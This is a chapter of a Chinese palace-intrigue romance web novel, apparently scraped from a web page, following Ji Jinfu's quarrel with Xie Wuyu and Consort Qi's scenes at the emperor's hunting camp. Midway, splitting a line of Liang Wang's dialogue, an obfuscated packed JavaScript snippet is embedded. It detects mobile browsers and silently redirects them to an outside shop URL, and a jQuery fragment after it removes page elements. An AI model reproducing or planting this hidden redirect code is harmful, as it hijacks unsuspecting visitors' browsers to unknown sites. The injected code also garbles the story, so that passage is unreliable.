元舜华一双妙目在纪锦芙面上扫过,淡淡道:“原来是你,上次匆匆一面,还不及问你姓名呢。” 纪锦芙心中百感交集,低声道:“我姓纪……” “原来是纪姑娘,不知你是哪里人士,今年多大,父母是做什么的呢?”元舜华语调轻缓,唇角微翘,却带着些许不容拒绝的威慑之感。 她久居上位,连太康帝亦会向其问策,如今居高临下地看着纪锦芙,轻而易举地便看出她脸上的无措,便道:“起来回话吧。” 纪锦芙从未见过母亲这幅样子,愣在原地嗫嚅半晌。 而元舜华依旧不依不饶、不咸不淡地等待着她的回答,态度虽不强硬,却如同绵里藏针,扎得纪锦芙心中阵阵作痛。 纪锦林刚想开口,就被元舜华眼风制止,显然是不让她多嘴的意思。 “我……我是汝南人士,今年十九,父母……”提及父母,纪锦芙再也抑制不住,怔怔地望着元舜华落泪,“父母,他们……他们不要我啦……” 纪锦林按捺不住,问道:“怎会如此?” 纪锦芙只定定的看向元舜华,泪如断线,一连串地滚落,她苦笑道:“或许,是我太不孝顺了罢……” 她不爱读书,不能像纪锦林一样跟娘亲谈诗论画;她生性惫懒,除了玩乐,事事都不用心;她混账无赖,总是在外面惹了麻烦回家让父母操心;她恃宠而骄,连婚姻大事也忤逆父母。 就连为人子女最该做的体贴父母,她也差纪锦林远甚。 纪锦林看向元舜华,只见母亲秀眉紧蹙,竟似十分疑虑一般。 她知晓母亲对这位突然从天而降,又深得淮阴侯爱幸的女子不免心生防备,但母亲一向果决,便连前朝之事,也少有令她露出如此神色的。 一个年轻女子,竟然令母亲忌惮至此?是顾着淮阴侯的面子,还是有什么旁的? “见过长公主,敢问长公主为何在此?”远处传来一道清越男声,正是谢无虞。 他大步而来,身后跟着的侍女不住喘着粗气。 那侍女见纪锦芙追着一条狗往螽斯泉方向跑去,生怕出了什么事,便立刻去通报了淮阴侯。 “你怎么才来?”纪锦芙一则伤心,一则更觉无地自容,伸手拉住谢无虞衣襟,侧身躲到他身后去了。 见此情状,元舜华眉头轻蹙。 谢无虞虽是自己看着长大,但他自幼心思深沉,如今又大权在握,恐怕不宜用强。 便微笑道:“你妹子体弱,汤泉宫的温泉可以调养身体,我便我向陛下求了恩典。没丞相,虞儿你也有性质前来游玩。” 谢无虞拱手,“下官旧疾复发,得蒙陛下恩赐来此修养,教长公主见笑了。” 他负手而立,一袭锦衣飞扬,举止潇洒、风姿霞举。 纪锦林见他与纪锦芙并肩,不免心生赞叹。谢大哥与纪姑娘这般人才,倒真是一对神仙眷侣。 谢无虞狭长双眼状似无意地扫过纪锦芙,看她哭得鼻尖通红,只好冲元舜华行礼道:“叔母容禀,侄儿的人不懂规矩,若有冲撞之处,还望叔母看在侄儿的面上,饶她一次。” 元舜华自然听出谢无虞话中称呼的转变,无非是借着叔侄情分,对这女子百般回护。 前几日匆匆一见后,元舜华便命人去查访纪锦芙之身世,可竟然一无所获,令她不得不多想几分。 “瞧你说的,我不过是问纪姑娘几句话罢了。”元舜华不想如此轻轻放过,笑道:“虞儿,不如让纪姑娘与我们同行,也好与你妹妹就个伴儿。” 话毕,谢无虞心中冷笑,长公主开了口,那大小姐自然借机欢天喜地地摆脱自己。 也是,晋阳长公主位高权重,又是她的生母,人家的家事,他一个外人操什么心? 谢无虞看向身后的纪锦芙,长眉一挑,嗤笑道:“长公主抬举你,还不谢恩?” 谁料纪锦芙并不如他所想的那般头也不回地离开,反倒是伸出手轻轻勾住他的指节,低低道:“不……我不要跟你分开!” 谢无虞心头一热,反手将那柔弱无骨的纤手攥在掌中,朗声道:“倒让叔母见笑了,我家姑娘胆小,离不开我。” 说罢,向元舜华一揖,便牵着人,径自离去了。 纪锦林看着注视二人背影的母亲,关切地上前扶住母亲的手臂,“娘是觉得纪姑娘来历不明,怀疑她么?” 元舜华缓缓收回视线,看向身旁的女儿,少见地失神:“或许是我想多了……” 二人走了许久,见纪锦芙仍在频频回望,谢无虞丢开她的手,抱臂讥笑道:“现在回去还来得及。” “到底我这儿庙小,容不得纪姑娘大驾。” 纪锦芙听他语气不善,也没好气道:“你又来充什么好人?别以为我不知道你在想什么,少得意了!” 谢无虞挑眉,“不敢,只不过——” 他俯下身,居高临下地在纪锦芙白皙的面上逡巡着。 在看到那双杏眼中布满了惊愕与气愤后,谢无虞满意地勾起唇角。 “我也很想知道我在想什么,还请你,不吝赐教。” 他天生一副风流模样,连嗓音也生得极佳,总是带着几分勾人摄魄。但这副腔调落到纪锦芙耳朵里,却是十分的嫌恶。 从小到达,谢无虞当着她父母的面总是卖乖取巧,背地里到她面前,却总是用这副怪腔怪调跟她说话。 当真讨厌! 纪锦芙抬手将谢无虞推开,谁知他竟不反抗,干脆顺势倚在栏杆上,神情仍旧是一副讥诮,黑白分明的双眼只是定定的看向纪锦芙。 纪锦芙被他看得有些不自在,嘴硬道:“从前我让你给我给我养狗,如今看来你恐怕记恨到现在了。” “你会有这么好心帮我?”纪锦芙越说越气:“是,我现在是落了毛的凤凰不如鸡了。你留我在身边,不就是为了慢慢报小时候的仇么?” 谢无虞仍是冷笑,原本俊美的脸上竟有一丝扭曲:“不错,你也算有自知之明!” “纪大小姐,轻飘飘一句养狗——”他声音带着一丝嘲弄,“你莫非不知,你的家仆竟然让我跟你养的狗通吃同住。还把我绑起来,把我在地上拖来拽去。” “你那时养了十几条狗,个个都有半人多高,纪姑娘不会忘了吧” 见纪锦芙怔忡,他语气冰凉道:“你十岁那年,受了齐隗的挑唆,把我从楼梯上推下去。” “十二岁的时候,把我推进湖里想淹死我,不知道又是谁给你出的主意?” “这桩桩件件——”谢无虞停顿了一下,笑得炫目:“还要我继续说下去么?” 纪锦芙面颊羞得涨红,从前她不知分寸,确实时常仗着手下仆役仗势欺人。更何况她跟谢无虞本就不睦,这人又屡屡在父母面前生事,害得自己被爹娘责罚,两人你来我往,就愈发变本加厉。 如今年岁渐长,从前的事也许久不提,她还当……还当已经一笔勾销。 “你……你说得好像你很无辜!”纪锦芙硬着头皮道:“你明明不怕狗,却故意在爹娘面前装作怕的样子。要不是这样,爹爹怎么会把我养的狗都送走?凭什么你来了,我的狗就要走?” “我爹对你比对我还好,难道我不难过么?” 纪锦芙说着说着,鼻子一酸,染上了哭腔,“明明是你,是你先骗我的!可是爹爹每次都只听你的话!” 她气血上涌,愤怒地往谢无虞身旁的栏杆锤了一拳。这拳用了十分力道,可纪锦芙娇生惯养,立时吃痛,抱着手哭地更大声了。 “我从前是欺负过你,那又怎么样!” “一人做事一人当,你现在要报复就报复好了!” 说罢,纪锦芙摸摸眼泪,也不管谢无虞,自己跑回房里,将他的杯盏器皿统统砸烂,又抽出他那柄青霜剑将衣服被褥划得粉碎,方才罢手。 其实她原本还想干脆将那柄剑毁了,可青霜剑一出窍,寒光森森、削铁如泥,实在是口不可多得的宝剑,恐怕没办法轻易毁去。 纪锦芙转念一想,随手往屋外荷塘里一丢。 见青霜剑飞快地没入一片枯荷之中消失不见,纪锦芙哼了一声,这才满意地拍拍手。 发泄一通后,纪锦芙只等晚间谢无虞回来,再好好跟他理论一番。 可左等右等,直到亥时仍旧不见人影,她脑中想着谢无虞发现青霜剑不见后气急败坏的模样,不由得好笑。 笑着笑着,纪锦芙打了个哈欠,伏在案上慢慢睡着了。 - 太康帝正于行在之中大发雷霆,皆因御史参奏,燕王元恽竟然纵容王妃沈氏的母家当街杀人。 其实,从前燕王元恽在朝臣之中贤名远播,连太祖皇帝亦曾称其为“经天纬地之才”。 元恽的母亲,乃是太祖皇帝的发妻孝恭皇后秦氏。可惜秦氏早亡,太祖便又续娶了孝文皇后陈氏,也即如今的陈太后。 自太祖皇帝起兵,陈太后上侍父母,下事子女。于朝政之事,亦曾多次向太祖谏言,二人伉俪情深,也成就一段开国帝后佳话。 陈太后育有二子一女,正是如今的晋阳长公主元舜华、太康帝元信、以及早逝的楚殇王元祐。 孝恭皇后早逝,元恽本是陈太后一手带大,与太康帝姐弟二人感情深厚。元恽曾向太祖皇帝表白心迹,他如能承继大统,愿将元信立为皇太弟。太祖听罢骇然,召集心腹问策,最终立元信为太子,并令元恽立刻往封国就藩。显然是要绝了元恽的念头,不愿见兄弟二人同室操戈。 从此,元恽便不复昔日雄才伟略,沉寂许久。待到太康帝即位,元恽便愈发地放浪形骸起来。 太康帝登基之初,顾念兄长,着实善待燕王,不仅大加封赏,还令其为幽州刺史,主政一州。可燕王仍旧我行我素,在其封国大兴土木,荒淫度日。 “沈妃无德,着废为庶人,再将沈氏一族涉案人等抓了,该怎么处置便怎么处置!至于这幽州刺史,朕看燕王也大可不必做了!”如今闹出人命官司,太康帝忍无可忍,当着群臣将奏本掷到地上,怒不可遏。 行在中随扈的大臣闻言,纷纷赞颂太康帝圣明。唯有梁王面露不忍,他对这位温和有礼的燕王大伯还有些印象,依稀记得对他很好。且不过是沈妃母家仗势欺人,也属寻常,父皇这般处置,未免太过严苛。 但他顾念前几日齐隗的告诫,便也不表现出来,只随着群臣称颂。 议事毕,太康帝留下梁王与陈王问话。陈王天资颖悟,虽然年龄不大,但面对太康帝的提问,竟然对答如流,颇有辩才。太康帝正赞叹不已,转头看到梁王呆呆地立在一旁,不由得叹息。 “菟郎,你弟弟小小年纪便如此用功,你该向他学学。” 太康帝话锋一转,“前些日子朕给你的那些书,可有研读?” 元慎顿时汗如雨下,他读了个屁!昨日他妻弟郑光庭刚送了他一只奇特的鹦鹉,他忙着逗鸟还来不及,哪儿有空读书! 便诺诺道:“父……父皇赐的书,儿自然读了……” 其实齐隗早猜到太康帝会问他这些,倒也叮嘱了他一番,只是元慎并没往心里去,不由得暗自后悔。 “既读了,不妨与我讲讲。”太康帝道。 陈王元秀见亲哥哥那副样子,眼珠一转,猜到梁王恐怕答不上来。 便扭头扑进太康帝怀里喊困,太康帝见状,只好作罢,又命人去将戚贵妃叫来。 未几,太监通传戚贵妃已至,帝妃二人亲自将元秀哄去歇下。 戚贵妃不由得埋怨:“七郎还小,陛下何必非要带他来围猎,这些日子可把孩子累坏了。” 太康帝道:“朕自幼马上长大,何时喊过累?你就是太过娇惯七郎,他到底也不是襁褓里的奶娃娃了。” 见贵妃面露委屈之色,太康帝不由得长叹一声。 戚贵妃生了元慎后,十余年间不再有所出,于是怀上元秀时便小心谨慎得过头,待到生产之后,对元秀更是溺爱无度。 是以陈王虽然聪颖,但在太康帝看来,一则年幼,二来也太娇惯体怯,恐怕也难为自己分忧。 思及此,太康帝不免瞪了梁王一眼,斥责道:“你的心思也该放在正途,整日与旁人厮混,像什么样子!” 元慎大惊失色,扑通一声跪下道:“父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309652|198769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇,不怪光庭,都是儿的错!” 太康帝冷哼一声:“你倒有担当!旁人不过是投你所好,归根究底,自然是你这个梁王的错!” 戚贵妃连忙劝阻:“陛下也太过言重了,菟郎白日里要伴驾,晚上读书,已经很累了。” 太康帝不语,戚贵妃是他第一个女人,又为他生儿育女,他不免对她有些偏爱。 可戚贵妃歌伎出身,很多时候当真是见识浅薄。 梁王懒散,陈王娇贵,将这两个他寄予厚望的孩子养成这样。归根究底,还是他们帝妃二人太过纵容之故! 戚贵妃虽然心疼孩子,但她伴驾多年,自然是察言观色的个中高手。 见太康帝面色铁青,她连忙上前踹了元慎一脚,颜面哭泣道:“你这个逆子,这样不争气!不能给你父皇分忧就算了,还天天惹你父皇生气!” “以后娘老了,惹陛下烦了,娘还能倚靠谁……你弟弟身体从小又弱……” 戚贵妃声泪俱下,楚楚可怜,伏在地上痛哭:“我的命怎么就这么苦啊!” 元慎在母亲的眼神示意下连忙跪下磕头请罪:“儿知罪,回去后一定勤奋读书……” 太康帝见长子爱妃在一起抱头痛苦,难堪之余也不免心软,叹道:“罢了罢了,在这里惺惺作态给谁看,你有这功夫,何不多上进些?莫非是荀植老糊涂了教不了你?!” 元慎缩了缩脖子,见戚贵妃向他使眼色,忙道:“荀师傅很好,都是儿自己混账,儿这便回去读书。” 梁王告退之后,戚贵妃立即上前,百般殷勤小意,总算哄得太康帝转怒为喜。 其实太康帝对贵妃那些风月手段谈不上受用,近些年甚至心下隐隐有些厌烦,但他为人极是念旧。 戚贵妃侍奉他十余年,并无大错。徐氏坐罪被废后,她侍奉陈太后体贴入微,晨昏定省,从无疏漏。虽则贵妃对待下人不免骄矜些,但被他训斥几次过后,也已经宽和不少。 无论如何,他都该给戚贵妃些尊荣体面。 戚贵妃见太康帝面色如常,眼波一转,问道:“妾身听说,长公主去了汤泉宫么?” 见太康帝颔首,她红唇微撅,佯作嗔怒:“陛下好偏心,妾都没有去过呢!” 太康帝笑道:“再过几日围猎结束,朕还能不带你去么?” 戚贵妃哼了一声:“我现在就想去嘛!”太康帝不是好色之人,后宫里能与她争锋的嫔妃不多,虽有几个东宫旧人,倒也都退到一射之外,无人盖过她贵妃的风头。 可太康帝对晋阳长公主事事优待,俨然越过了她这个贵妃。 从前戚贵妃还是东宫侍婢时,对元舜华不得不曲意讨好,如今扬眉吐气了,心里自然有些负气,事事分外爱跟这大姑姐较劲。 太康帝无奈:“林儿身子不好,长姐带她调养调养,你也要捻酸吃醋?” 戚贵妃更感委屈:“七郎身子骨也不好,怎么不见陛下这么念着……” “罢了。”去汤泉宫也不是什么大事,太康帝懒得再招架戚贵妃,便道:“你愿意去,就带七郎去吧。” 横竖谢无虞奉他密令在汤泉宫探查,长姐身边又有亲卫,想来无事。 到了夜间,也不知太康帝是否为白天之事赌气,竟然转头去了王昭仪处用膳。 如此一来,戚贵妃料定王昭仪那蹄子定会缠着皇帝不放,恐怕陛下今天不会再来自己这里了。 于是她将陈王哄睡后,心中气闷非常,便想寻侄女说话解闷。 戚贵妃环视四周,没在营帐中见着戚丽容的身影,便招来宫婢问话。 宫婢道:“二小姐出去了,不知遇上什么事儿,还未回来。” 戚贵妃将杯盏狠狠掷到地上,她本就为王昭仪烦心,这时自然迁怒于人:“你们是怎么伺候的?打量着容姐儿不是宫里的正经主子便这样轻慢?” 宫人们见贵妃责难,忐忑地跪了一地,请她息怒。 谁知戚贵妃变本加厉地拍着己案骂道:“这是什么地方,又不是宫里!容姐儿若是出了什么事儿,本宫摘了你们的脑袋!” 可转念一想,容姐儿待她十分殷勤,平常总是片刻不离的。今日倒怎么了? 于是戚贵妃挥退众人,只带着自己的亲随,悄无声息地外出寻人去了。 没走出多远,戚贵妃隐隐闻得远处有一男一女喁喁叙话之声,便摆了摆手,令人在此等候,径自提灯沿阶而下。 果然,是齐隗与戚丽容正在一处,远远看着,二人行为亲昵,举止之间宛然如同新婚夫妻一般。 月色清嘉,是以戚贵妃提灯站在远处,却也将他们的私会情状看得一清二楚。 戚贵妃抚了抚鬓角,心想:容姐儿乃是她亲生侄女,生得又甚为姝丽,她自然有意看顾她的亲事。 只可惜…… 兄嫂心气极高,言语之中,竟然将算盘打到了元慎身上。 戚贵妃对元慎寄予厚望,怎么肯让他娶戚家女儿,失去妻族助臂? 所以,她早早就去求了太康帝,让元慎纳了中书令郑徽的孙女郑氏作梁王妃,用来绝了戚家人的心思。 可这门亲事,非但没让兄嫂退却,竟然将侄女送入宫中在她身边服侍。 明面上说是服侍她,实际这容姐儿一入宫,便屡屡对着元慎暗送秋波。 戚贵妃本就是个中高手,如何看不懂戚丽容的心思,将她训斥一番后,想要送回戚家。 哪知戚丽容声泪俱下地跪在地上,说道父母不敢奢望,只求她在梁王身边做个孺人,哪怕是媵妾也好。 戚贵妃转念一想,将来元慎得登大宝,娶个她的娘家人,有益无害,便默许了侄女的行事。 谁料她的好儿子面对戚丽容的百般勾引,竟然浑不放在心上,只一意地宠爱梁王妃郑氏。 戚丽容那般容貌,那般身段,那般嗓音,有时连戚贵妃自己看了,都觉着比自己年轻时也不差什么。 可元慎还偏偏就不动心! 眼见梁王无意,反而轮到戚贵妃急了,几次想让他将戚丽容收房。 但到底儿子儿媳新婚燕尔,她实在难以开口。戚丽容的事儿,便不咸不淡的冷在这儿。 直到那日见了齐隗,容姐儿跟他那般眉眼官司,自然瞒不过她。 果然,戚贵妃看着齐隗将侄女拥入怀中,欲要吻她面颊,连忙轻咳一声:“倒是本宫来的不巧了,你们两个……” “这是在做什么呢?”